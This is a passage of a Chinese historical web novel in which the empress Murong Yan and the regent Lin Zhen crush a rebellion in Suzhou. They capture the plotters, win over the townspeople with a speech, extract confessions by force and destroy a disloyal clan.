他顿了顿,语气中带着一丝自信:“我已经让‘夜枭’的人,在城内布下了天罗地网。只要他们敢有所行动,就休想逃出我们的手掌心。” 慕容嫣闻言,心中安定了不少。 她知道,只要有林臻在,无论面对什么样的危险,她都能从容应对。 “那我们现在该怎么做?”她轻声问道。 “等。”林臻的眼中闪过一丝锐利的光芒,“等他们自投罗网。” 他顿了顿,语气中带着一丝冷酷:“他们想在我们的婚礼上,送一份大礼。那我们,就给他们一份,让他们永生难忘的‘回礼’!” 慕容嫣闻言,眼中闪过一丝期待。 她知道,一场好戏,即将上演。 接下来的几天,林臻和慕容嫣便在苏州城内,开始了他们的秘密调查。 他们走访了街头巷尾,了解民情。 他们发现,孔志谦和李显散布的谣言,确实对百姓们造成了不小的影响。 许多百姓都对大乾朝廷产生了不满,甚至有人开始相信,李显才是这江山真正的主人。 慕容嫣看着那些被谣言蛊惑的百姓,心中充满了忧虑。 她知道,如果不能及时平息这些谣言,江南的民心,真的会彻底动荡。 林臻也感受到了民心的不安。他知道,他们必须尽快行动,否则,后果不堪设想。 “夫君,我们不能再等下去了。”慕容嫣对林臻说道,“百姓们已经被谣言蛊惑,如果我们再不行动,恐怕就来不及了。” 林臻点了点头,眼中闪过一丝沉思。他知道,慕容嫣说得没错。 “好。”林臻沉声道,“既然他们想在初八那天举事,那我们就给他们一个惊喜。” 他顿了顿,语气中带着一丝冷酷:“我倒要看看,他们到底有什么本事,能在大乾帝后的眼皮子底下,掀起什么风浪!” 慕容嫣闻言,眼中闪过一丝坚定。她知道,真正的战斗,即将开始。 她握紧林臻的手,心中充满了力量。她知道,只要有他在,无论面对什么样的艰难险阻,她都能从容应对。 而此时,孔志谦和李显,还在为他们的阴谋得意不已,对即将到来的危险,一无所知。 他们以为,他们已经掌握了主动权。 殊不知,他们,正在一步步走向林臻和慕容嫣为他们精心准备的陷阱。 初八,大婚之日。 江南苏州城,表面上风平浪静,实则暗流涌动。 孔志谦和李显在秘密据点里,听着手下汇报各方准备情况,脸上都带着志得意满的笑容。 “殿下,一切准备就绪!”孔志谦拱手道,“各地旧部和豪强,已在城外集结,只等殿下一声令下,便会立刻攻城!” “很好!”李显激动地一拍桌子,眼中充满了狂热,“本宫等这一天,等了二十年!今日,便是本宫重夺江山之时!” 他顿了顿,看向孔志谦,语气中带着一丝残忍:“孔先生,那林臻和慕容嫣呢?他们现在怎么样了?” 孔志谦冷笑一声:“回殿下,据我们安插在长安的眼线回报,那慕容嫣和林臻,还在长安城内,举行他们的狗屁婚礼!哈哈哈哈,真是不知死活!他们以为,一场盛大的婚礼,就能掩盖他们病重的消息吗?他们以为,他们还能像以前一样,用她那所谓的‘母仪天下’,来收拢人心吗?” “她却不知道,这正是她最大的破绽!我们要在她最得意的时候,给她最沉重的一击!我们要让她知道,她所拥有的一切,都不过是镜花水月,不堪一击!” 李显闻言,眼中也露出了兴奋而残忍的光芒。 他已经迫不及待地想要看到,慕容嫣和林臻那张惊慌失措的脸了。 “孔先生所言甚是!”李显激动地说道,“那就依孔先生所言,我们立刻举事!让天下人都看看,谁才是这江山真正的主人!” “殿下英明!”孔志谦拱手笑道,眼中闪烁着阴谋得逞的光芒。 他知道,他已经成功地将李显,这颗他精心培养的棋子,推上了舞台。 “传令下去!立刻攻城!”李显猛地站起身,大手一挥,眼中充满了野心。 然而,就在他下达命令的同时,一道冰冷的声音,突然从门外传来。 “恐怕,你们没有这个机会了。” 孔志谦和李显闻言,脸色骤变!他们猛地转头,看向门外。 只见林臻和慕容嫣,正缓步走进房间。 林臻穿着一身普通的布衣,脸上带着一张普通的人皮面具,将他英俊的容貌完全遮盖。但那双深邃的眼眸中,却闪烁着锐利的光芒。 慕容嫣则穿着那件黑金色的“神凤降世裙”,裙摆上的金色凤凰,在烛光下熠熠生辉。她脸上带着一丝淡淡的笑容,但眼神中,却充满了帝王的威严。 “林臻!慕容嫣!”李显看到他们,瞬间惊呆了。 他做梦也想不到,他们竟然会出现在这里! 孔志谦的脸色也变得铁青。 他知道,他的一切计划,都泡汤了。 “怎么?很惊讶吗?”林臻的嘴角勾起一抹冷笑,“你们以为,你们能瞒得过我们吗?” “不可能!这不可能!”李显失声叫道,“你们不是在长安举行婚礼吗?你们不是病重了吗?!” 第1107章 慕容嫣凤临天下 慕容嫣冷哼一声:“你以为,我们真的会相信你们那些拙劣的谣言吗?你以为,我们会任由你们在江南掀起风浪吗?” 她顿了顿,目光扫过李显和孔志谦,语气中充满了轻蔑:“你们以为你们是猎人,殊不知,你们,才是我们眼中的猎物!” 孔志谦的脸色变得更加难看。他知道,他彻底输了。 “林臻!慕容嫣!你们别得意!”孔志谦咬牙切齿地说道,“就算你们抓住了我们,又能怎么样?江南的百姓,已经被我们蛊惑,他们是不会放过你们的!” “是吗?”林臻的嘴角勾起一抹冷笑,“那我们就拭目以待吧。” 他顿了顿,语气中带着一丝冷酷:“来人!将他们拿下!” 随着林臻一声令下,数十名“夜枭”死士,瞬间从暗处冲出,将李显和孔志谦团团围住。 李显和孔志谦虽然拼命反抗,但在“夜枭”死士面前,他们根本不堪一击。很快,两人便被制服,捆绑起来。 “林臻!慕容嫣!你们不得好死!”李显发出绝望的咆哮。 慕容嫣冷冷地看着他,语气中充满了不屑:“李显,你以为,你打着前朝太子的名号,就能煽动百姓,重夺江山吗?你太天真了!” 她顿了顿,目光扫过孔志谦,语气中带着一丝厌恶:“至于你,孔志谦。你这个阴险毒辣的小人,你以为,你那些阴谋诡计,能瞒得过朕的眼睛吗?你太自作聪明了!” 孔志谦的脸色变得铁青,他知道,他已经彻底输了。 “将他们押下去!”林臻冷声吩咐道。 “是!”“夜枭”死士们押着李显和孔志谦,快步退下。 房间内,只剩下林臻和慕容嫣两人。 慕容嫣靠在林臻的怀里,轻声问道:“夫君,你真的有把握,能平息江南的民心吗?” “当然。”林臻轻轻抚摸着她的长发,柔声道,“我们已经抓住了李显和孔志谦,这便是最好的证据。我会让百姓们知道,他们所谓的‘前朝太子’和‘圣裔’,不过是两个跳梁小丑,根本不足为惧。” “而且……”林臻的眼中闪过一丝锐利的光芒,“我还会让百姓们知道,真正能给他们带来好日子的,是他们的大乾皇帝,是他们的大乾朝廷!” 慕容嫣闻言,眼中闪过一丝期待。她知道,林臻一定会做到的。 “那……我们现在该怎么做?”她轻声问道。 “等着。”林臻的嘴角勾起一抹冷笑,“等着看一出好戏。” 他顿了顿,语气中带着一丝冷酷:“他们想在我们的婚礼上,送一份大礼。那我们,就给他们一份,让他们永生难忘的‘回礼’!” 慕容嫣闻言,心中顿时充满了期待。她知道,一场好戏,即将上演。 她靠在林臻的怀里,感受着他身上散发出的温暖和安全感。她知道,只要有他在,无论面对什么样的艰难险阻,她都能从容应对。 窗外,夜色渐浓。栖凤阁内,烛光摇曳,将两人的身影,拉得长长的,交织在一起,显得无比温馨。 ...... 苏州城,城门大开,人声鼎沸。 百姓们聚集在城门口,好奇地看着眼前的一切。他们听说,大乾帝后驾临苏州,要亲自处理前朝太子李显和孔志谦的叛乱。 然而,当他们看到站在城门口的慕容嫣时,所有人都惊呆了。 慕容嫣穿着那件黑金色的“神凤降世裙”,外面罩着最隆重的黑金色霞帔。 裙幅浩荡的墨金色苏锦拖尾,从她的身后,迤逦而下,铺满了整个城门前的广场。 在阳光的映照下,裙摆上的金色凤凰,流淌着一种内敛而温润的辉光,显得无比威严。 林臻则穿着一身银色的亲王礼服,上面用金线绣着麒麟图腾,显得威武不凡。 他站在慕容嫣身边,目光扫过在场的百姓,眼中带着一丝锐利。 “大乾万岁!陛下千岁!”百姓们看到帝后驾临,纷纷跪倒在地,高呼万岁。 慕容嫣抬起手,示意百姓们起身。她走到高台之上,目光扫过在场的百姓,语气洪亮而坚定:“各位父老乡亲,朕是大乾皇帝慕容嫣!” 她的声音,如同洪钟大吕,响彻整个苏州城。 所有百姓都安静下来,目光集中在她的身上。 “朕知道,这几日,城中流传着许多谣言,说朕病重,说朝廷混乱,说前朝太子李显,要重夺江山!” 慕容嫣的声音中,带着一丝愤怒, “这些,都是谣言!都是孔志谦和李显,为了蛊惑人心,颠覆大乾,而散布的谣言!” 她顿了顿,语气中充满了威严: “朕今日亲自驾临苏州,就是要告诉你们,朕,好好的!大乾朝廷,好好的!大乾的江山,好好的!” 她大手一挥,示意身边的侍卫,将李显和孔志谦押上高台。 当百姓们看到被五花大绑的李显和孔志谦时,所有人都惊呆了。 “这……这不是前朝太子李显吗?!” “孔志谦!那个蛊惑人心的妖道!” 百姓们议论纷纷,眼中充满了震惊和愤怒。 慕容嫣看着台下的百姓,语气洪亮而坚定:“各位父老乡亲,你们看清楚了!这就是你们口中的‘前朝太子’李显,这就是你们口中的‘圣裔’孔志谦!他们打着复国的旗号,散布谣言,蛊惑人心,企图颠覆大乾,让你们再次陷入战火之中!” 她顿了顿,语气中充满了悲愤: “你们想想,如果他们真的复国成功,你们会得到什么?只会得到战火、死亡和流离失所!你们会失去你们的家园,失去你们的亲人,失去你们现在所拥有的一切!” “而朕,作为大乾的皇帝,朕来江南,是来安抚百姓,是来平定祸乱,是来给你们带去安稳和希望!” “朕要让全天下的百姓都亲眼看到,到底谁,才是真正为他们着想的君主!到底谁,才是真正能给他们带来好日子的皇帝!” 慕容嫣的话,掷地有声,振聋发聩! 第1108章 瞒天过海 百姓们听着她的话,心中顿时充满了震撼。 他们看着高台上被捆绑的李显和孔志谦,再看看站在高台上,威严而又充满悲悯的慕容嫣,心中顿时明白了什么。 “陛下英明!” “大乾万岁!” 百姓们齐声高呼,声音震耳欲聋。 林臻看着台下的百姓,眼中闪过一丝欣慰。 他知道,慕容嫣做到了。她用她独有的魅力和魄力,彻底瓦解了孔志谦和李显的阴谋。 他走到慕容嫣身边,轻轻握住她的手,柔声道:“嫣儿,你做到了。” 慕容嫣回头,看着他那张英俊的脸庞,眼中充满了柔情。 她知道,这一切,都离不开他的支持。 “夫君,我们赢了。”她轻声说道。 林臻点了点头,眼中闪过一丝锐利的光芒:“是的,我们赢了。不过,这只是一个开始。” 他顿了顿,语气中带着一丝冷酷:“孔志谦和李显的叛乱,虽然被平息了。但那些潜伏在暗处的宵小之辈,我们还没有完全清除。我们必须趁此机会,将他们一网打尽!” 慕容嫣闻言,眼中闪过一丝坚定。 她知道,真正的战斗,才刚刚开始。 她站在高台之上,目光扫过在场的百姓,语气洪亮而坚定:“各位父老乡亲,朕在此向你们承诺,朕一定会为你们,为大乾,带来一个国泰民安的盛世!” “大乾万岁!陛下千岁!”百姓们再次高呼,声音震耳欲聋。 孔志谦和李显看着眼前的一切,眼中充满了绝望。 他们做梦也想不到,他们的阴谋,竟然会以这样的方式,彻底失败。 他们以为,他们能颠覆大乾。 殊不知,他们,不过是林臻和慕容嫣手中的棋子,任由他们摆布。 林臻和慕容嫣,用他们独特的智慧和勇气,彻底粉碎了孔志谦和李显的阴谋,也彻底赢得了江南百姓的民心。 一场危机,就这样被他们化解于无形。 而大乾的江山,也因此变得更加稳固。夜幕降临,苏州城恢复了往日的宁静。 林臻和慕容嫣回到客栈,却没有丝毫倦意。他们知道,真正的审问,才刚刚开始。 孔志谦和李显,被秘密关押在客栈的地下密室。密室里,只有一盏昏暗的油灯,将两人的影子拉得长长的,显得格外诡异。 慕容嫣穿着那件黑金色的“神凤降世裙”,柔软的棉质面料贴合着她的身体,轻盈而舒适。裙摆上的金色凤凰,在昏暗的烛光下,流淌着一种内敛而温润的辉光。她坐在椅子上,脸上带着一丝淡淡的疲惫,但眼神中却充满了锐利。 林臻则站在她身边,双手抱胸,目光冷冽地看着被绑在柱子上的孔志谦和李显。 “孔志谦,李显。”慕容嫣开口,声音清冷而威严,“你们可知罪?” 孔志谦冷哼一声,别过头去,不发一言。 李显则抬起头,眼中充满了怨恨:“慕容嫣,林臻!你们这对狗男女!你们不得好死!” 林臻闻言,眼中闪过一丝寒光。他走到李显面前,猛地一巴掌扇在他的脸上。 “啪!” 一声脆响,李显的脸上瞬间浮现出五道指痕,嘴角也渗出了血丝。 “嘴巴放干净点!”林臻冷声说道,“再敢对陛下不敬,我就让你尝尝生不如死的滋味!” 李显被林臻的气势震慑,瞬间安静下来,眼中充满了恐惧。 慕容嫣看着林臻,眼中闪过一丝柔情。她知道,他这是在为她出气。 “孔志谦。”慕容嫣再次开口,声音中带着一丝威严,“你以为,你保持沉默,就能逃脱罪责吗?你太天真了!” 孔志谦闻言,身体微微一颤。他知道,慕容嫣不是一个好对付的女人。 “慕容嫣,你别得意!”孔志谦冷哼一声,“就算你们抓住了我们,又能怎么样?我们已经散布了谣言,百姓们对大乾朝廷已经产生了不满。你们就算平息了这次叛乱,也无法平息民心!” 慕容嫣冷笑一声:“是吗?你以为,朕会任由你们蛊惑人心吗?你以为,朕会任由你们颠覆大乾吗?” 她顿了顿,语气中充满了威严:“朕今日在城门口,已经向百姓们昭告了你们的罪行。百姓们已经明白了真相,他们是不会再被你们蛊惑的!” 孔志谦闻言,脸色骤变。他做梦也想不到,慕容嫣竟然会用这样的方式,来瓦解他的阴谋。 “你……你竟然……”孔志谦指着慕容嫣,气得说不出话来。 林臻冷笑一声:“孔志谦,你以为,你那些阴谋诡计,能瞒得过我们吗?你太自作聪明了!” 他顿了顿,语气中带着一丝冷酷:“现在,我再给你们一个机会。将你们背后所有的人,所有的势力,全部交代出来!否则,我就让你们尝尝,什么叫做生不如死!” 孔志谦和李显闻言,身体猛地一颤。他们知道,林臻不是在开玩笑。 “我……我什么都不知道!”李显颤声说道。 林臻冷哼一声,走到李显面前,猛地一脚踹在他的肚子上。 “啊!” 李显发出一声惨叫,身体猛地蜷缩起来,口中吐出了一口鲜血。 “还不说吗?”林臻的语气中,充满了杀意。 李显被林臻的气势震慑,身体猛地一颤。他知道,如果他再不说,林臻真的会杀了他。 “我……我说!我说!”李显颤声说道,“我们背后……是江南的几个世家大族……还有一些前朝旧臣……” 他将自己所知道的一切,全部交代了出来。 林臻听着李显的供述,眼中闪过一丝锐利的光芒。他知道,这些世家大族和前朝旧臣,才是真正的幕后黑手。 “孔志谦。”林臻转头看向孔志谦,语气中带着一丝冷酷,“现在,该你了。将你所知道的一切,全部交代出来!否则,我就让你尝尝,什么叫做求生不得,求死不能!” 孔志谦看着林臻那双充满杀意的眼睛,身体猛地一颤。他知道,他已经没有任何退路了。 他深吸一口气,将自己所知道的一切,全部交代了出来。 林臻听着孔志谦的供述,眼中闪过一丝寒光。他知道,这些世家大族和前朝旧臣,才是真正的幕后黑手。他们企图利用李显和孔志谦,来颠覆大乾,重夺江山。 “很好。”林臻的嘴角勾起一抹冷笑,“你们交代得很清楚。” 他顿了顿,语气中带着一丝冷酷:“来人!将他们押下去,严加看管!” “是!”“夜枭”死士们押着李显和孔志谦,快步退下。 慕容嫣靠在林臻的怀里,轻声问道:“夫君,我们现在该怎么做?” “当然是……”林臻的眼中闪过一丝锐利的光芒,“将他们一网打尽!” 他顿了顿,语气中带着一丝冷酷:“他们以为,他们能瞒天过海,颠覆大乾。殊不知,他们,不过是自投罗网!” 慕容嫣闻言,眼中闪过一丝坚定。她知道,一场腥风血雨,即将到来。 她靠在林臻的怀里,感受着他身上散发出的温暖和安全感。她知道,只要有他在,无论面对什么样的艰难险阻,她都能从容应对。 窗外,夜色深沉。栖凤阁内,烛光摇曳,将两人的身影,拉得长长的,交织在一起,显得无比温馨。 一场巨大的阴谋,就这样被林臻和慕容嫣彻底粉碎。 而大乾的江山,也因此变得更加稳固。 苏州城,客栈。 林臻和慕容嫣坐在房间里,听着“夜枭”指挥使鬼影的汇报。 鬼影身穿一身黑衣,脸上带着一张冰冷的面具,将他的容貌完全遮盖。他站在林臻和慕容嫣面前,语气恭敬:“启禀陛下,王爷,根据李显和孔志谦的供述,我们已经掌握了江南所有参与叛乱的世家大族和前朝旧臣的名单。” “很好。”林臻点了点头,眼中闪过一丝锐利的光芒,“这些人都给我秘密监视起来,不要打草惊蛇。” “是!” 慕容嫣开口问道:“鬼影,那些世家大族和前朝旧臣,他们手下有多少人马?” “回陛下,”鬼影说道,“他们手下大多是一些私兵和门客,人数不多,但都有一定的武力。而且,他们还在暗中招募一些亡命之徒,企图扩大势力。” “哼。”慕容嫣冷哼一声,“一群乌合之众,也敢妄图颠覆大乾!” 林臻的嘴角勾起一抹冷笑:“他们以为,他们能瞒天过海,殊不知,他们的一切行动,都在我们的掌控之中。” 他顿了顿,语气中带着一丝冷酷:“鬼影,你立刻派人,将这些世家大族和前朝旧臣的府邸,全部秘密包围起来。等到时机成熟,我们便将他们一网打尽!” “是!”鬼影领命,转身快步退下。 房间内,只剩下林臻和慕容嫣两人。 慕容嫣靠在林臻的怀里,轻声问道:“夫君,我们真的要……将他们全部清除吗?” 第1109章 杀人,是最低级的手段 慕容嫣靠在林臻的怀里,感受着他胸膛的温暖和坚实,心中因为雷霆手段而泛起的些许波澜,也渐渐平复下来。 她抬起头,看着林臻那张在昏暗烛光下轮廓分明的脸,轻声问道: “夫君,我们真的要……将他们全部清除吗?那些世家,在江南盘踞多年,根深蒂固,若是全部连根拔起,会不会引起更大的动荡?” 她的声音里带着一丝不易察觉的忧虑。 她是大乾的女帝,思考问题不能只凭快意恩仇。 江南是帝国的钱袋子,若是处理不当,让这里乱了起来,对整个大乾的打击将是致命的。 林臻低头,看着怀中人儿那双清澈又带着忧思的凤眸,心中一片柔软。 他知道她在担心什么。 他的嫣儿,已经不再是那个需要他时时护在身后的公主,她已经成长为一个真正心怀天下的君主。 “当然不是全部杀光。”林臻伸手,将她一缕滑落的鬓发掖到耳后,声音沉稳而有力, “杀人,是最低级的手段。我们要的,是彻底打断他们的脊梁,让他们再也生不出反抗的心思,同时,还要让江南的百姓,真正地拥护我们,拥护大乾。” 他拉着慕容嫣,走到那张简陋却铺着干净桌布的桌子前,从怀中取出一份由鬼影呈上来的名单,在桌上摊开。 “你看,”他指着名单上的一个个名字, “这些人,虽然都参与了这次的密谋,但心思却各不相同。像这个苏州王家,是前朝的死忠,铁了心要复国,这种就是我们要杀的‘鸡’,必须用最狠的手段,打得他们万劫不复,才能震慑住其他的‘猴’。” “而像这个杭州的张家,还有扬州的孙家,他们不过是见风使舵的墙头草。他们看到李显打着前朝太子的旗号,又有名望在外的孔志谦辅佐,便以为有机可乘,想跟着捞一笔好处。对于这种人,我们就要给他们一条活路,让他们知道,跟着我们,比跟着李显那个丧家之犬,有前途得多。” 慕容嫣认真地听着,林臻的分析让她原本有些纷乱的思路,瞬间清晰起来。 她看着地图上那些密密麻麻的标记,凤眸中闪烁着思索的光芒。 “那我们具体该怎么做?” “分化瓦解,恩威并施。”林臻的手指在名单上轻轻敲击着, “首先,让鬼影的‘夜枭’,立刻行动,将王家在江南的所有产业,全部查封!所有核心族人,全部抓捕!但是,不要急着定罪,先关起来。同时,把我们搜集到的,他们与孔志谦、李显往来的书信证据,找个合适的时机,公之于众!我要让整个江南的人都看看,这个所谓的百年世家,背地里都干了些什么勾当!” “然后,”他的嘴角勾起一抹冰冷的弧度,“放出风声去,就说,朕与陛下此次南下,只为诛杀首恶,胁从不问。凡是主动前来投案自首,并检举揭发他人罪证者,可以既往不咎,甚至……可以论功行赏。” 慕容嫣的眼睛瞬间亮了! 她明白了林臻的意图。 这简直就是一条诛心之计! 那些参与密谋的世家,本就不是铁板一块,各有各的小算盘。 如今大难临头,林臻再抛出这样一个“坦白从宽,抗拒从严”的诱饵,他们之间那点可怜的信任,瞬间就会土崩瓦解。 为了自保,他们绝对会毫不犹豫地出卖自己的盟友,甚至会为了“立功”,而无所不用其极地去罗织对方的罪名。 到时候,根本不需要朝廷动手,他们自己就会先狗咬狗,斗个你死我活。 “夫君,你这一招,真是太高了。”慕容嫣的心中,充满了对林臻的敬佩和爱意。 他不仅是战无不胜的沙场战神,更是深谙人心的权谋高手。 “对付这些阴沟里的老鼠,就得用些非常的手段。”林臻笑了笑,将她重新搂进怀里,“不过,光有威慑还不够。我们还要施恩。” 他看着慕容嫣,眼神变得温柔起来: “嫣儿,明天,你就以大乾女帝的身份,巡视苏州。我已让鬼影安排好,将从王家等叛逆世家查抄出来的部分粮食和钱财,以你的名义,当众分发给城中的贫苦百姓。同时,再宣布一道旨意,减免整个江南地区今年三成的赋税。” “朕要让所有江南的百姓都清楚地看到,谁才是真正给他们饭吃,让他们有好日子过的人!当民心都向着我们的时候,那些世家大族所谓的名望和根基,就成了一个笑话。” 慕容嫣重重地点了点头,心中豪情万丈。 她知道,这不仅仅是一场对叛逆者的清算,更是一次重塑江南政治格局、彻底将这片富庶之地纳入皇权掌控的绝佳机会。 夜深了,客栈的房间里只剩下一豆烛火。 慕容嫣没有换下那身“神凤降世裙”,她只是慵懒地靠在林臻的怀里,享受着这暴风雨来临前,难得的宁静。 她依旧穿着那件作为唯一寝衣的神凤降世裙,此刻,她并未罩上霞帔,整个人少了几分君临天下的威严,多了几分属于妻子的温婉。 极致玄黑的苏锦底料,在昏暗的烛光下,仿佛能将所有的光线都吸进去,显得深邃而神秘。 这件以轻盈透气的苏锦工艺织就的棉质睡裙,虽然裙幅巨大,拖尾长达五丈,但穿在身上却丝毫感觉不到沉重,柔软的布料贴着肌肤,带来一丝丝冰凉而舒适的触感。 因为两人依偎在一起,那长长的墨金色苏锦拖尾,便在他们身后的地板上,恣意地堆叠、纠缠着,形成一片充满了慵懒与亲昵的凌乱。 烛光偶尔跳动一下,照在裙摆上那用真金线绣成的巨大凤凰之上,凤羽上的金光一闪而过,仿佛这只神鸟也沉浸在这温柔的夜色里,收敛了所有的锋芒,只剩下无声的守护。 “夫君,你说……我们什么时候,才能真正地过上几天安生日子?”慕容嫣的声音,带着一丝不易察觉的疲惫和向往。 林臻闻言,抱着她的手臂收得更紧了些。 他低头,亲了亲她的发顶,声音沙哑而温柔:“快了,嫣儿。等我们把这些魑魅魍魉都清扫干净,等大乾真正的国泰民安,我就陪着你,哪儿也不去。看日出日落,看云卷云舒。” “嗯。”慕容嫣重重地点了点头,将脸深深地埋进他的怀里。 第1110章 夜枭,启动 第二日,天还未亮,整个苏州城便被一股无形的紧张气氛所笼罩。 身着黑色劲装、脸上带着冰冷面具的“夜枭”死士,如同暗夜里的幽灵,悄无声息地出现在了苏州城内最显赫的府邸——王家大宅的四周。 他们封锁了所有的出口,控制了制高点,一张由死亡编织而成的大网,在黎明前的黑暗中,悄然张开。 府邸内,依旧是一片歌舞升平。 王家的家主王坤,这位在江南跺一跺脚都能让地面抖三抖的大人物,此刻正搂着新纳的美妾,在温暖的被窝里呼呼大睡。 他做着一个美梦,梦见自己在新朝建立后,被封为国公,权倾朝野,风光无限。 他做梦也想不到,自己的死期,已经到了。 “动手!” 随着鬼影一声冰冷的、不带任何感情的命令,数十名“夜枭”死士,如同下山的猛虎,从四面八方,同时攻入了王家大宅。 王家的护院和私兵,虽然也算是有些身手,但在这些从尸山血海中爬出来的顶尖刺客面前,简直如同待宰的羔羊。 “噗嗤!” 一名刚刚从睡梦中惊醒的护院头领,还没来得及拔出腰间的刀,一柄短刃便已经精准地刺穿了他的喉咙。 他捂着脖子,眼中满是不敢相信,轰然倒地。 类似的场景,在王家大宅的每一个角落同时上演。 “夜枭”的行动,高效、精准、而又冷酷。 他们没有发出任何多余的呐喊,只有兵器入肉的闷响和敌人临死前的短促惨叫。 他们以三五人为一组,结成小型的绞杀阵,在宅院中快速穿插,清理着一切反抗的力量。 王坤是在一阵剧烈的摇晃中被惊醒的。 “老爷!老爷!不好了!有刺客!有刺客杀进来了!”他最宠爱的小妾,吓得花容失色,尖叫着躲进了他的怀里。 “什么?!”王坤一个激灵,猛地坐起身,睡意全无。 他侧耳倾听,府外隐约传来的惨叫声和兵器碰撞声,让他的一颗心,瞬间沉到了谷底。 怎么可能?! 他的计划天衣无缝,怎么会有人找到这里来?! “快!来人!护驾!护驾!”他连滚带爬地从床上下来,一边慌乱地穿着衣服,一边声嘶力竭地大喊。 然而,回应他的,不是忠心耿耿的护卫,而是一声冰冷的、仿佛来自九幽地狱的声音。 “王家主,别喊了。你的人,都已经下去陪你了。” “砰!”的一声巨响,房门被人从外面一脚踹开。 林臻穿着一身普通的布衣,脸上的人皮面具让他看起来平平无奇,但那双眼睛,却如同两把出鞘的利剑,散发着让人不敢直视的寒光。 他缓步走了进来,身后跟着鬼影和几名浑身散发着浓烈血腥气的“夜枭”死士。 “你……你们是什么人?!”王坤看着林臻,吓得双腿一软,一屁股瘫坐在地上,声音都在发抖。 “取你命的人。”林臻的声音,不带一丝温度。 他没有再废话,对鬼影使了个眼色。 鬼影立刻会意,上前一步,一把揪住王坤的头发,将他从地上提了起来。 “带我们去你的密室。”鬼影的声音,如同两块冰冷的铁片在摩擦。 “我……我不知道什么密室……”王坤还想抵赖。 “啪!” 鬼影毫不犹豫地一个耳光扇了过去,力道之大,直接将王坤的几颗牙齿都扇飞了出去。 “啊!”王坤发出一声惨叫,满嘴是血,再也不敢有半句废话,只能哆哆嗦嗦地指着书房的方向。 很快,在王坤的带领下,林臻找到了那间隐藏在书架背后的密室。 密室里,堆满了金银珠宝,以及大量的兵器铠甲。 最重要的是,在一个上锁的铁箱里,林臻找到了王坤与孔志谦、李显往来的所有密信! 这些,都是他们通敌叛国的铁证! “很好。”林臻看着那些信件,脸上露出了一丝满意的笑容。 他转头,看向已经面如死灰的王坤,淡淡地说道:“王家主,多谢你的配合。为了表示感谢,本王会给你留一个全尸。” “王……王爷?您……您是……”王坤听到“本王”两个字,瞳孔猛地一缩,一个让他亡魂皆冒的猜测,浮上心头。 林臻缓缓地抬手,揭下了脸上的人皮面具,露出了那张让整个漠北都闻风丧胆的、英俊而冷酷的脸。 “摄……摄政王林臻!”王坤失声惊呼,眼中充满了无尽的恐惧与绝望。 他做梦也想不到,这位刚刚在北疆创下不世奇功的大乾战神,竟然会神不知鬼不觉地出现在这里! 他完了。 王家,也彻底完了。 “噗通”一声,他彻底瘫倒在地,身下一片湿热。 林臻没有再看他一眼,只是对鬼影冷冷地吩咐道:“处理干净。” “是!” 当太阳从地平线上升起,第一缕阳光照进苏州城的时候,王家覆灭的消息,如同长了翅膀一般,瞬间传遍了整个江南。 那些同样参与了密谋的世家大族,在听到这个消息后,一个个都吓得魂飞魄散。 杭州,张家。 家主张德海听着下人的回报,手里的茶杯“啪”的一声掉在地上,摔得粉碎。 “你……你说什么?王家……王家一夜之间,被……被灭门了?!”他的声音,抖得不成样子。 “是……是的,老爷。”下人战战兢兢地回答,“听说,是摄政王林臻亲自动的手!现在王家已经被官府查封,所有族人,无论男女老幼,全都被关进了大牢!” “林臻……他……他怎么会在这里?!”张德海只觉得一阵天旋地转,眼前发黑。 他原以为,林臻和慕容嫣远在长安,江南这边天高皇帝远,他们跟着李显举事,成功的希望极大。 可他万万没想到,林臻这尊杀神,竟然会亲自来到江南! 恐慌,如同瘟疫一般,在这些世家大族之间迅速蔓延。 他们立刻派人互相串联,商议对策。 但此刻,他们哪里还有什么对策? 有人主张,立刻起兵,和朝廷拼个鱼死网破。 有人则主张,赶紧收拾金银细软,逃离江南。 更有人,已经动了别的心思,开始秘密派人,想要和官府接触,试图通过出卖盟友,来换取自己的平安。 整个江南的地下世界,乱成了一锅粥。 而这一切,都在林臻和慕容嫣的预料之中。 客栈里,慕容嫣听着鬼影的汇报,脸上露出了一丝冷笑。 “夫君,看来你的‘杀鸡儆猴’,效果很不错。” 林臻为她剥了一个橘子,递到她嘴边,淡淡地说道:“这还只是开始。好戏,还在后头呢。” 他要的,不仅仅是让他们恐慌, 他要的,是让他们彻底绝望,让他们互相猜忌, 最终,土崩瓦解。 第1111章 王家没一个好东西! 王家被雷霆扫穴的消息,像一颗巨石投入平静的湖面,在江南的世家圈子里,掀起了滔天巨浪。 恐慌和猜疑,在这些往日里高高在上的大人物心中疯狂滋生。 他们就像一群被关进笼子里的老鼠,开始互相撕咬,只为求得一线生机。 而林臻和慕容嫣,这对冷静的猎人,则在客栈里,静静地观察着这一切。 “夫君,这张家的家主张德海,派人送来了拜帖,说是要求见您,想……想‘弃暗投明’。”慕容嫣看着鬼影刚刚呈上来的消息,嘴角勾起一抹玩味的笑意。 这张家,在名单上,正是被林臻标记为“墙头草”的那一批。看来,王家的下场,已经彻底吓破了他们的胆。 “让他等着。”林臻头也不抬,继续专注地为慕容嫣挑选着碟子里的蜜饯, “想见我们,哪有那么容易。晾他几天,让他好好尝尝什么叫坐立不安,什么叫寝食难安。等他快被逼疯的时候,我们再‘勉为其难’地见他一面。” 慕容嫣被他这副拿捏人心的样子逗笑了,她捏起一颗蜜饯放进嘴里,甜味在舌尖化开,心情也好了几分。 “你啊,真是越来越坏了。” “对付这些坏人,就得比他们更坏。”林臻说得理所当然。 就在他们说话间,杜如晦的身影,出现在了门口。 他虽然一路风尘仆仆,但精神却很矍铄,脸上带着一丝兴奋。 “陛下,王爷,老臣幸不辱命!”他一进门,便激动地说道,“按照您的吩咐,王家通敌叛国的证据,已经通过各种渠道,散播出去了!现在整个苏州城,大街小巷,都在议论这件事。百姓们义愤填膺,都说王家是国贼,死有余辜!” “做得好,杜相。”慕容嫣赞许地点了点头。 “这还不够。”林臻放下手中的蜜饯碟子,站起身,眼中闪烁着锐利的光芒,“杜相,下一步,该我们登场了。” 一个时辰后,苏州府衙门口,临时搭起了一座高台。 高台周围,被“夜枭”和本地的卫所兵围得水泄不通。 而警戒线外,早已是人山人海,前来围观的百姓,把街道堵得严严实实。 当慕容嫣的身影,出现在高台之上时,人群中瞬间爆发出山呼海啸般的“万岁”之声。 今日的她,为了彰显皇权的至高无上与不容侵犯,再次穿上了那身神凤降世裙,并且极其郑重地,在外面罩上了那件与之配套的黑金色霞帔。 那件作为唯一寝衣的神凤降世裙,此刻在江南明媚的阳光下,极致玄黑的苏锦底料,吸纳了所有的杂光,呈现出一种纯粹的、如同黑曜石般的质感。 